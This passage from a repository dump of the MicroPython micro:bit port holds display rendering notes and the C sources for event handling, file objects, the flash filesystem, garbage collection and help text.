MP_PARSE_FILE_INPUT, EXEC_FLAG_SOURCE_IS_RAW_CODE); #endif default: printf("could not find module '%s'\n", name); return false; } } #endif ================================================ FILE: micropython/source/microbit/display_readme.md ================================================ # Notes on the Display Rendering of images to the display is now done entirely within MicroPython without using the DAL's rendering logic. This achieves the following: 1. It gives more obviously distinct brightness levels on the scale of 1 to 9 2. Most obviously, the dimmest level is dimmer. Level 1 is clearly dimmer than level 2 3. It is possible to support sophisticated animations asynchronously. ## How rendering works Rendering on the microbit display works by using pulse width modulation implemented in software. A render cycle consists of: * Render each display row (which does not correspond to the image row) * Turn off all LEDs in the previous row. * Turn on all LEDs that are maximum brightness * Do any computation required to update the image * Turn on all LEDs with non-zero brightness * In exponentially increasing time steps: * Turn off LEDs in increasing order of brightness. This means that each LEDs is turned on for a period of time approximately proportional to 2**brightness. By turning on maximum brightness LEDs before updating the image, and performing the increasing time steps after the update, image is rendering is smooth even with complex image iterators. Provided that the display update step takes no more that about 2.2ms then there will no effect on the rendering of the image. Even if it takes up to 4ms (which a lot of computation to yield just a single image) then only effect is that level 8 brightness will be dimmed toward the level 7 brightness. ## How this differs from the DAL. The DAL updates the image before turning on any pixels. DAL rendering timings assume that the full 6ms cycle duration can be divided up evenly. This does not reflect the underlying clock speed and may be the cause of the unevenness in brightness levels. The DAL supports 255 brightness levels as well as rotation in the rendering ticker function, which adds quite a lot of overhead to a function that is called more than 1000 times a second. ================================================ FILE: micropython/source/microbit/events.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2017 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "EventModel.h" #include "microbit/microbitdal.h" #include "microbit/modmicrobit.h" extern "C" { extern void microbit_accelerometer_event_handler(const MicroBitEvent*); } class MicroPythonEventHandler : public EventModel { public: MicroPythonEventHandler(); virtual int send(MicroBitEvent evt); }; // Create a static instance of our custom event handler static MicroPythonEventHandler event_handler; MicroPythonEventHandler::MicroPythonEventHandler() { // We take full control of the event bus EventModel::defaultEventBus = this; } int MicroPythonEventHandler::send(MicroBitEvent evt) { // Dispatch the event to the relevant component switch (evt.source) { case MICROBIT_ID_GESTURE: microbit_accelerometer_event_handler(&evt); break; case MICROBIT_ID_COMPASS: if (evt.value == MICROBIT_COMPASS_EVT_CALIBRATE) { ubit_compass_calibrator->calibrateUX(evt); } break; default: // Ignore this event break; } return MICROBIT_OK; } ================================================ FILE: micropython/source/microbit/fileobj.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Mark Shannon * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/runtime.h" #include "py/obj.h" #include "py/stream.h" #include "microbit/filesystem.h" static mp_obj_t microbit_file_writable(mp_obj_t self) { return mp_obj_new_bool(((file_descriptor_obj *)self)->writable); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_file_writable_obj, microbit_file_writable); MP_DEFINE_CONST_FUN_OBJ_1(microbit_file_name_obj, (mp_fun_1_t)microbit_file_name); static mp_obj_t microbit_file_close_func(mp_obj_t self_in) { microbit_file_close((file_descriptor_obj *)self_in); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(microbit_file_close_obj, microbit_file_close_func); STATIC mp_obj_t file___exit__(size_t n_args, const mp_obj_t *args) { (void)n_args; return microbit_file_close_func(args[0]); } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(file___exit___obj, 4, 4, file___exit__); static const mp_map_elem_t microbit_file_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_close), (mp_obj_t)µbit_file_close_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_name), (mp_obj_t)µbit_file_name_obj }, { MP_ROM_QSTR(MP_QSTR___enter__), (mp_obj_t)&mp_identity_obj }, { MP_ROM_QSTR(MP_QSTR___exit__), (mp_obj_t)&file___exit___obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_writable), (mp_obj_t)µbit_file_writable_obj }, /* Stream methods */ { MP_OBJ_NEW_QSTR(MP_QSTR_read), (mp_obj_t)&mp_stream_read_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_readinto), (mp_obj_t)&mp_stream_readinto_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_readline), (mp_obj_t)&mp_stream_unbuffered_readline_obj}, { MP_OBJ_NEW_QSTR(MP_QSTR_write), (mp_obj_t)&mp_stream_write_obj }, }; static MP_DEFINE_CONST_DICT(microbit_file_locals_dict, microbit_file_locals_dict_table); STATIC const mp_stream_p_t bytesio_stream_p = { .read = microbit_file_read, .write = microbit_file_write, }; const mp_obj_type_t microbit_bytesio_type = { { &mp_type_type }, .name = MP_QSTR_BytesIO, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = &bytesio_stream_p, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_file_locals_dict, }; STATIC const mp_stream_p_t textio_stream_p = { .read = microbit_file_read, .write = microbit_file_write, .is_text = true, }; const mp_obj_type_t microbit_textio_type = { { &mp_type_type }, .name = MP_QSTR_TextIO, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = &textio_stream_p, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_file_locals_dict, }; static mp_obj_t mp_builtin_open(size_t n_args, const mp_obj_t *args) { /// -1 means default; 0 explicitly false; 1 explicitly true. int read = -1; int text = -1; if (n_args == 2) { mp_uint_t len; const char *mode = mp_obj_str_get_data(args[1], &len); for (mp_uint_t i = 0; i < len; i++) { if (mode[i] == 'r' || mode[i] == 'w') { if (read >= 0) { goto mode_error; } read = (mode[i] == 'r'); } else if (mode[i] == 'b' || mode[i] == 't') { if (text >= 0) { goto mode_error; } text = (mode[i] == 't'); } else { goto mode_error; } } } mp_uint_t name_len; const char *filename = mp_obj_str_get_data(args[0], &name_len); file_descriptor_obj *res = microbit_file_open(filename, name_len, read == 0, text == 0); if (res == NULL) { mp_raise_msg(&mp_type_OSError, "file not found"); } return res; mode_error: mp_raise_ValueError("illegal mode"); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_open_obj, 1, 2, mp_builtin_open); ================================================ FILE: micropython/source/microbit/filesystem.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Mark Shannon * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include "py/runtime.h" #include "py/obj.h" #include "py/gc.h" #include "py/stream.h" #include "microbit/filesystem.h" #include "microbit/memory.h" #define DEBUG_FILE 0 #if DEBUG_FILE #define DEBUG(s) printf s #else #define DEBUG(s) (void)0 #endif /** How it works: * The File System consists of up to MAX_CHUNKS_IN_FILE_SYSTEM chunks of CHUNK_SIZE each, * plus one spare page which holds persistent configuration data and is used. for bulk erasing. * The spare page is either the first or the last page and will be switched by a bulk erase. * The exact number of chunks will depend on the amount of flash available. * * Each chunk consists of a one byte marker and a one byte tail * The marker shows whether this chunk is the start of a file, the midst of a file * (in which case it refers to the previous chunk in the file) or whether it is UNUSED * (and erased) or FREED (which means it is unused, but not erased). * Chunks are selected in a randomised round-robin fashion to even out wear on the flash * memory as much as possible. * A file consists of a linked list of chunks. The first chunk in a file contains its name * as well as the end chunk and offset. * Files are found by linear search of the chunks, this means that no meta-data needs to be stored * outside of the file, which prevents wear hot-spots. Since there are fewer than 250 chunks, * the search is fast enough. * * Chunks are numbered from 1 as we need to reserve 0 as the FREED marker. * * Writing to files relies on the persistent API which is high-level wrapper on top of the Nordic SDK. */ /** Page indexes count down from the end of ROM */ static uint8_t first_page_index; static uint8_t last_page_index; /** The number of useable chunks in the file system */ static uint8_t chunks_in_file_system; /** Index of chunk to start searches. This is randomised to even out wear */ static uint8_t start_index; static file_chunk *file_system_chunks; STATIC_ASSERT((sizeof(file_chunk) == CHUNK_SIZE)); static inline void *first_page(void) { return microbit_end_of_rom() - persistent_page_size() * first_page_index; } static inline void *last_page(void) { return microbit_end_of_rom() - persistent_page_size() * last_page_index; } static void init_limits(void) { /* First determine where to end */ char *end = (char*)microbit_compass_calibration_page() - persistent_page_size(); last_page_index = (microbit_end_of_rom() - end)/persistent_page_size(); /** Now find the start */ char *start = roundup(end - CHUNK_SIZE*MAX_CHUNKS_IN_FILE_SYSTEM, persistent_page_size()); while (start < microbit_end_of_code()) { start += persistent_page_size(); } first_page_index = (microbit_end_of_rom() - start)/persistent_page_size(); chunks_in_file_system = (end-start)>>LOG_CHUNK_SIZE; } static void randomise_start_index(void) { uint8_t new_index; // 0 based index. NRF_RNG->TASKS_START = 1; // Wait for valid number do { NRF_RNG->EVENTS_VALRDY = 0; while(NRF_RNG->EVENTS_VALRDY == 0); new_index = NRF_RNG->VALUE&255; } while (new_index >= chunks_in_file_system); start_index = new_index + 1; // Adjust index to 1 based. NRF_RNG->TASKS_STOP = 1; } void microbit_filesystem_init(void) { init_limits(); randomise_start_index(); file_chunk *base = first_page(); if (base->marker == PERSISTENT_DATA_MARKER) { file_system_chunks = &base[(persistent_page_size()>>LOG_CHUNK_SIZE)-1]; } else if (((file_chunk *)last_page())->marker == PERSISTENT_DATA_MARKER) { file_system_chunks = &base[-1]; } else { persistent_write_byte_unchecked(&((file_chunk *)last_page())->marker, PERSISTENT_DATA_MARKER); file_system_chunks = &base[-1]; } } static void copy_page(void *dest, void *src) { DEBUG(("FILE DEBUG: Copying page from %lx to %lx.\r\n", (uint32_t)src, (uint32_t)dest)); persistent_erase_page(dest); file_chunk *src_chunk = src; file_chunk *dest_chunk = dest; uint32_t chunks = persistent_page_size()>>LOG_CHUNK_SIZE; for (uint32_t i = 0; i < chunks; i++) { if (src_chunk[i].marker != FREED_CHUNK) { persistent_write_unchecked(&dest_chunk[i], &src_chunk[i], CHUNK_SIZE); } } } /* Move entire file system up or down one page, copying all used chunks * Freed chunks are not copied, so become erased. * There should be no erased chunks before the sweep (or it would be unnecessary) * but if there are this should work correctly. * * The direction of the sweep depends on whether the persistent data is in the first or last page * The persistent data is copied to RAM, leaving its page unused. * Then all the pages are copied, one by one, into the adjacent newly unused page. * Finally, the persistent data is saved back to the opposite end of the filesystem from whence it came. */ void filesystem_sweep(void) { persistent_config_t config; uint8_t *page; uint8_t *end_page; int step; uint32_t page_size = persistent_page_size(); DEBUG(("FILE DEBUG: Sweeping file system\r\n")); if (((file_chunk *)first_page())->marker == PERSISTENT_DATA_MARKER) { config = *(persistent_config_t *)first_page(); page = first_page(); end_page = last_page(); step = page_size; } else { config = *(persistent_config_t *)last_page(); page = last_page(); end_page = first_page(); step = -page_size; } while (page != end_page) { uint8_t *next_page = page+step; persistent_erase_page(page); copy_page(page, next_page); page = next_page; } persistent_erase_page(end_page); persistent_write_unchecked(end_page, &config, sizeof(config)); microbit_filesystem_init(); } static inline char *seek_address(file_descriptor_obj *self) { return (char *)&(file_system_chunks[self->seek_chunk].data[self->seek_offset]); } uint8_t microbit_find_file(const char *name, int name_len) { for (uint8_t index = 1; index <= chunks_in_file_system; index++) { const file_chunk *p = &file_system_chunks[index]; if (p->marker != FILE_START) continue; if (p->header.name_len != name_len) continue; if (memcmp(name, &p->header.filename[0], name_len) == 0) { DEBUG(("FILE DEBUG: File found. index %d\r\n", index)); return index; } } DEBUG(("FILE DEBUG: File not found.\r\n")); return FILE_NOT_FOUND; } /** Return a free, erased chunk. * Search the chunks: * 1 If an UNUSED chunk is found, then return that. * 2. If an entire page of FREED chunks is found, then erase the page and return the first chunk * 3. If the number of FREED chunks is >= MIN_FREE_CHUNKS_FOR_SWEEP, then * 3a. Sweep the filesystem and restart. * 3b. Fail and return FILE_NOT_FOUND */ static uint8_t find_chunk_and_erase(void) { // Start search at a random chunk to spread the wear more evenly. // Search for unused chunk uint8_t index = start_index; do { const file_chunk *p = &file_system_chunks[index]; if (p->marker == UNUSED_CHUNK) { DEBUG(("FILE DEBUG: Unused chunk found: %d\r\n", index)); return index; } index++; if (index == chunks_in_file_system+1) index = 1; } while (index != start_index); // Search for FREED page, and total up FREED chunks uint32_t freed_chunks = 0; index = start_index; uint32_t chunks_per_page = persistent_page_size()>>LOG_CHUNK_SIZE; do { const file_chunk *p = &file_system_chunks[index]; if (p->marker == FREED_CHUNK) { freed_chunks++; } if (is_persistent_page_aligned(p)) { uint32_t i; for (i = 0; i < chunks_per_page; i++) { if (p[i].marker != FREED_CHUNK) break; } if (i == chunks_per_page) { DEBUG(("FILE DEBUG: Found freed page of chunks: %d\r\n", index)); persistent_erase_page(&file_system_chunks[index]); return index; } } index++; if (index == chunks_in_file_system+1) index = 1; } while (index != start_index); DEBUG(("FILE DEBUG: %lu free chunks\r\n", freed_chunks)); if (freed_chunks < MIN_CHUNKS_FOR_SWEEP) { return FILE_NOT_FOUND; } // No freed pages, so sweep file system. filesystem_sweep(); // This is guaranteed to succeed. return find_chunk_and_erase(); } mp_obj_t microbit_file_name(file_descriptor_obj *fd) { return mp_obj_new_str(&(file_system_chunks[fd->start_chunk].header.filename[0]), file_system_chunks[fd->start_chunk].header.name_len, false); } static file_descriptor_obj *microbit_file_descriptor_new(uint8_t start_chunk, bool write, bool binary); static void clear_file(uint8_t chunk) { do { persistent_write_byte_unchecked(&(file_system_chunks[chunk].marker), FREED_CHUNK); DEBUG(("FILE DEBUG: Freeing chunk %d.\n", chunk)); chunk = file_system_chunks[chunk].next_chunk; } while (chunk <= chunks_in_file_system); } file_descriptor_obj *microbit_file_open(const char *name, uint32_t name_len, bool write, bool binary) { if (name_len > MAX_FILENAME_LENGTH) { return NULL; } uint8_t index = microbit_find_file(name, name_len); if (write) { if (index != FILE_NOT_FOUND) { // Free old file clear_file(index); } index = find_chunk_and_erase(); if (index == FILE_NOT_FOUND) { mp_raise_msg(&mp_type_OSError, "no more storage space"); } persistent_write_byte_unchecked(&(file_system_chunks[index].marker), FILE_START); persistent_write_byte_unchecked(&(file_system_chunks[index].header.name_len), name_len); persistent_write_unchecked(&(file_system_chunks[index].header.filename[0]), name, name_len); } else { if (index == FILE_NOT_FOUND) { return NULL; } } return microbit_file_descriptor_new(index, write, binary); } static file_descriptor_obj *microbit_file_descriptor_new(uint8_t start_chunk, bool write, bool binary) { file_descriptor_obj *res = m_new_obj(file_descriptor_obj); if (binary) { res->base.type = µbit_bytesio_type; } else { res->base.type = µbit_textio_type; } res->start_chunk = start_chunk; res->seek_chunk = start_chunk; res->seek_offset = file_system_chunks[start_chunk].header.name_len+2; res->writable = write; res->open = true; res->binary = binary; return res; } mp_obj_t microbit_remove(mp_obj_t filename) { mp_uint_t name_len; const char *name = mp_obj_str_get_data(filename, &name_len); mp_uint_t index = microbit_find_file(name, name_len); if (index == 255) { mp_raise_msg(&mp_type_OSError, "file not found"); } clear_file(index); return mp_const_none; } static void check_file_open(file_descriptor_obj *self) { if (!self->open) { mp_raise_ValueError("I/O operation on closed file"); } } static int advance(file_descriptor_obj *self, uint32_t n, bool write) { DEBUG(("FILE DEBUG: Advancing from chunk %d, offset %d.\r\n", self->seek_chunk, self->seek_offset)); self->seek_offset += n; if (self->seek_offset == DATA_PER_CHUNK) { self->seek_offset = 0; if (write) { uint8_t next_chunk = find_chunk_and_erase(); if (next_chunk == FILE_NOT_FOUND) { clear_file(self->start_chunk); self->open = false; return ENOSPC; } /* Link next chunk to this one */ persistent_write_byte_unchecked(&(file_system_chunks[self->seek_chunk].next_chunk), next_chunk); persistent_write_byte_unchecked(&(file_system_chunks[next_chunk].marker), self->seek_chunk); } self->seek_chunk = file_system_chunks[self->seek_chunk].next_chunk; } DEBUG(("FILE DEBUG: Advanced to chunk %d, offset %d.\r\n", self->seek_chunk, self->seek_offset)); return 0; } mp_uint_t microbit_file_read(mp_obj_t obj, void *buf, mp_uint_t size, int *errcode) { file_descriptor_obj *self = (file_descriptor_obj *)obj; check_file_open(self); if (self->writable || file_system_chunks[self->start_chunk].marker == FREED_CHUNK) { *errcode = EBADF; return MP_STREAM_ERROR; } uint32_t bytes_read = 0; uint8_t *data = buf; while (1) { mp_uint_t to_read = DATA_PER_CHUNK - self->seek_offset; if (file_system_chunks[self->seek_chunk].next_chunk == UNUSED_CHUNK) { uint8_t end_offset = file_system_chunks[self->start_chunk].header.end_offset; if (end_offset == UNUSED_CHUNK) { to_read = 0; } else { to_read = min(to_read, (mp_uint_t)end_offset-self->seek_offset); } } to_read = min(to_read, size-bytes_read); if (to_read == 0) { break; } memcpy(data+bytes_read, seek_address(self), to_read); advance(self, to_read, false); bytes_read += to_read; } return bytes_read; } mp_uint_t microbit_file_write(mp_obj_t obj, const void *buf, mp_uint_t size, int *errcode) { file_descriptor_obj *self = (file_descriptor_obj *)obj; check_file_open(self); if (!self->writable || file_system_chunks[self->start_chunk].marker == FREED_CHUNK) { *errcode = EBADF; return MP_STREAM_ERROR; } uint32_t len = size; const uint8_t *data = buf; while (len) { uint32_t to_write = min(((uint32_t)(DATA_PER_CHUNK - self->seek_offset)), len); persistent_write_unchecked(seek_address(self), data, to_write); int err = advance(self, to_write, true); if (err) { *errcode = err; return MP_STREAM_ERROR; } data += to_write; len -= to_write; } return size; } void microbit_file_close(file_descriptor_obj *fd) { if (fd->writable) { persistent_write_byte_unchecked(&(file_system_chunks[fd->start_chunk].header.end_offset), fd->seek_offset); } fd->open = false; } mp_obj_t microbit_file_list(void) { mp_obj_t res = mp_obj_new_list(0, NULL); for (uint8_t index = 1; index <= chunks_in_file_system; index++) { if (file_system_chunks[index].marker == FILE_START) { mp_obj_t name = mp_obj_new_str(&file_system_chunks[index].header.filename[0], file_system_chunks[index].header.name_len, false); mp_obj_list_append(res, name); } } return res; } mp_obj_t microbit_file_size(mp_obj_t filename) { mp_uint_t name_len; const char *name = mp_obj_str_get_data(filename, &name_len); uint8_t chunk = microbit_find_file(name, name_len); if (chunk == 255) { mp_raise_msg(&mp_type_OSError, "file not found"); } mp_uint_t len = 0; uint8_t end_offset = file_system_chunks[chunk].header.end_offset; uint8_t offset = file_system_chunks[chunk].header.name_len+2; while (file_system_chunks[chunk].next_chunk != UNUSED_CHUNK) { len += DATA_PER_CHUNK - offset; chunk = file_system_chunks[chunk].next_chunk; offset = 0; } len += end_offset - offset; return mp_obj_new_int(len); } static mp_uint_t file_read_byte(void *fd_in) { file_descriptor_obj *fd = fd_in; if (file_system_chunks[fd->seek_chunk].next_chunk == UNUSED_CHUNK) { uint8_t end_offset = file_system_chunks[fd->start_chunk].header.end_offset; if (end_offset == UNUSED_CHUNK || fd->seek_offset == end_offset) { return (mp_uint_t)-1; } } mp_uint_t res = file_system_chunks[fd->seek_chunk].data[fd->seek_offset]; advance(fd, 1, false); return res; } mp_lexer_t *microbit_file_lexer(qstr src_name, file_descriptor_obj *fd) { mp_reader_t reader = {fd, file_read_byte, (void(*)(void*))microbit_file_close}; return mp_lexer_new(src_name, reader); } mp_lexer_t *mp_lexer_new_from_file(const char *filename) { file_descriptor_obj *fd = microbit_file_open(filename, strlen(filename), false, false); if (fd == NULL) return NULL; return microbit_file_lexer(qstr_from_str(filename), fd); } ================================================ FILE: micropython/source/microbit/gccollect.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015-2017 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpstate.h" #include "py/gc.h" __attribute__((naked)) uint32_t gc_helper_get_regs_and_sp(uint32_t *regs) { (void)regs; // store registers into given array and return the stack pointer __asm volatile ( "str r4, [r0, #0]\n" "str r5, [r0, #4]\n" "str r6, [r0, #8]\n" "str r7, [r0, #12]\n" "mov r1, r8\n" "str r1, [r0, #16]\n" "mov r1, r9\n" "str r1, [r0, #20]\n" "mov r1, r10\n" "str r1, [r0, #24]\n" "mov r1, r11\n" "str r1, [r0, #28]\n" "mov r1, r12\n" "str r1, [r0, #32]\n" "mov r1, r13\n" "str r1, [r0, #36]\n" "mov r0, sp\n" "bx lr\n" ); } void gc_collect(void) { gc_collect_start(); // get the registers and the sp uint32_t regs[10]; uint32_t sp = gc_helper_get_regs_and_sp(regs); // trace the stack, including the registers (since they live on the stack in this function) gc_collect_root((void**)sp, ((uint32_t)MP_STATE_THREAD(stack_top) - sp) / sizeof(uint32_t)); gc_collect_end(); } ================================================ FILE: micropython/source/microbit/help.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/builtin.h" #include "py/stream.h" #include "microbit/modmicrobit.h" const char *microbit_help_text = "Welcome to MicroPython on the micro:bit!\n" "\n" "Try these commands:\n" " display.scroll('Hello')\n" " running_time()\n" " sleep(1000)\n" " button_a.is_pressed()\n" "What do these commands do? Can you improve them? HINT: use the up and down\n" "arrow keys to get your command history. Press the TAB key to auto-complete\n" "unfinished words (so 'di' becomes 'display' after you press TAB). These\n" "tricks save a lot of typing and look cool!\n" "\n" "Explore:\n" "Type 'help(something)' to find out about it. Type 'dir(something)' to see what\n" "it can do. Type 'dir()' to see what stuff is available. For goodness sake,\n" "don't type 'import this'.\n" "\n" "Control commands:\n" " CTRL-C -- stop a running program\n" " CTRL-D -- on a blank line, do a soft reset of the micro:bit\n" " CTRL-E -- enter paste mode, turning off auto-indent\n" "\n" "For a list of available modules, type help('modules')\n" "\n" "For more information about Python, visit: http://python.org/\n" "To find out about MicroPython, visit: http://micropython.org/\n" "Python/micro:bit documentation is here: https://microbit-micropython.readthedocs.io/\n" ; typedef struct _mp_doc_t { mp_const_obj_t obj; const char *doc; } mp_doc_t; STATIC const mp_doc_t help_table_types[] = { {µbit_accelerometer_type, "MicroBitAccelerometer type\n"}, }; // Consistency between messages and minimal jargon improves help text. STATIC const mp_doc_t help_table_instances[] = { {µbit_module, "Useful stuff to control the micro:bit hardware.\n"}, // System state objects {µbit_panic_obj, "Put micro:bit in panic() mode and display an unhappy face.\nPress reset button to exit panic() mode.\n"}, {µbit_sleep_obj, "Put micro:bit to sleep(time) for some milliseconds (1 second = 1000 ms) of time.\nsleep(2000) gives micro:bit a 2 second nap.\n"}, {µbit_running_time_obj, "Return running_time() in milliseconds since micro:bit's last reset.\n"}, {µbit_temperature_obj, "Return micro:bit's temperature in degrees Celcius.\n"}, // Accelerometer 3D orientation {µbit_accelerometer_obj, "Detect micro:bit's movement in 3D.\nIt measures tilt (X and Y) and up-down (Z) motion.\n"}, {µbit_accelerometer_get_x_obj, "Return micro:bit's tilt (X acceleration) in milli-g's.\n"}, {µbit_accelerometer_get_y_obj, "Return micro:bit's tilt (Y acceleration) in milli-g's.\n"}, {µbit_accelerometer_get_z_obj, "Return micro:bit's up-down motion (Z acceleration) in milli-g's.\nZ is a positive number when moving up. Moving down, Z is a negative number.\n"}, // Pushbutton {µbit_button_a_obj, "micro:bit's 'A' button. When button is pressed down, is_pressed() is True.\n"}, {µbit_button_b_obj, "micro:bit's 'B' button. When button is pressed down, is_pressed() is True.\n"}, {µbit_button_is_pressed_obj, "If the button is pressed down, is_pressed() is True, else False.\n"}, {µbit_button_was_pressed_obj, "Use was_pressed() to learn if the button was pressed since the last time\nwas_pressed() was called. Returns True or False.\n"}, {µbit_button_get_presses_obj, "Use get_presses() to get the running total of button presses, and also\nreset this counter to zero.\n"}, // Compass 3D direction heading {µbit_compass_heading_obj, "Gives a compass heading between 0-360 with 0 as north.\n"}, {µbit_compass_obj, "Use micro:bit's compass to detect the direction it is heading in.\nThe compass can detect magnetic fields.\nIt uses the Earth's magnetic field to detect direction.\n"}, {µbit_compass_is_calibrated_obj, "If micro:bit's compass is_calibrated() and adjusted for accuracy, return True.\nIf compass hasn't been adjusted for accuracy, return False.\n"}, {µbit_compass_calibrate_obj, "If micro:bit is confused, calibrate() the compass to adjust the its accuracy.\nIt will ask you to rotate the device to draw a circle on the display.\n"}, {µbit_compass_clear_calibration_obj, "Reset micro:bit's compass using clear_calibration() command.\nRun calibrate() to improve accuracy.\n"}, {µbit_compass_get_x_obj, "Return magnetic field detected along micro:bit's X axis.\nUsually, the compass returns the earth's magnetic field in micro-Tesla units.\nUnless...a strong magnet is nearby!\n"}, {µbit_compass_get_y_obj, "Return magnetic field detected along micro:bit's Y axis.\nUsually, the compass returns the earth's magnetic field in micro-Tesla units.\nUnless...a strong magnet is nearby!\n"}, {µbit_compass_get_z_obj, "Return magnetic field detected along micro:bit's Z axis.\nUsually, the compass returns the earth's magnetic field in micro-Tesla units.\nUnless...a strong magnet is nearby!\n"}, {µbit_compass_get_field_strength_obj, "Return strength of magnetic field around micro:bit.\n"}, // Display 5x5 LED grid {µbit_display_obj, "micro:bit's 5x5 LED display.\n"}, {µbit_display_show_obj, "Use show(x) to print the string or images 'x' to the display. Try show('Hi!').\nUse show(s, i) to show string 's', one character at a time with a delay of\n'i' milliseconds.\n"}, {µbit_display_scroll_obj, "Use scroll(s) to scroll the string 's' across the display.\nUse scroll(s, i) to 